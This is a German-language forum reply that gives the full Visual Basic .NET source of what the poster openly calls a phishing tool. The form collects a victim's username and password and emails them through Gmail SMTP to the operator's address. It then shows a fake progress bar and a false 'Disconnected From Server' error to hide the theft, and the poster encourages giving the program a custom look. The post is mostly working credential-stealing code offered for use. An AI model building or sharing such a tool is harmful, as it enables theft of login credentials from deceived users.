grüße dich @_EazyE!
Mach doch eins mit VB.net (visual basic 2008 ) ich geb dir mal nen code aber den raffst du nur wenn du dich vertraut machst mach dein eigenen Style aber setze ihn hier am besten nicht rein (den style,weil es hier nur neidische kiddis gibt. ) und postet bloß jetzt keine dummen AW ich ignoriere sie eh alle !!! ( bug me not ! ) is ein phishing Tool in dem Fall.
Code:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("FRAGEZEICHEN@googlemail.com", "dein Passwort")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.googlemail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("FRAGEZEICHEN@googlemail.com")
mail.To.Add("FRAGEZEICHEN@googlemail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
Timer1.Start()
If TextBox2.Text = "" Then
Timer1.Stop()
If TextBox2.Text = "" Then
ProgressBar1.Value = 0
End If
End If
If TextBox1.Text = "" Then
Timer1.Stop()
If TextBox1.Text = "" Then
ProgressBar1.Value = 0
End If
End If
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
End If
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
Timer1.Stop()
ProgressBar1.Value = 0
MsgBox("Disconnected From Server, Please try again later!")
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
End Class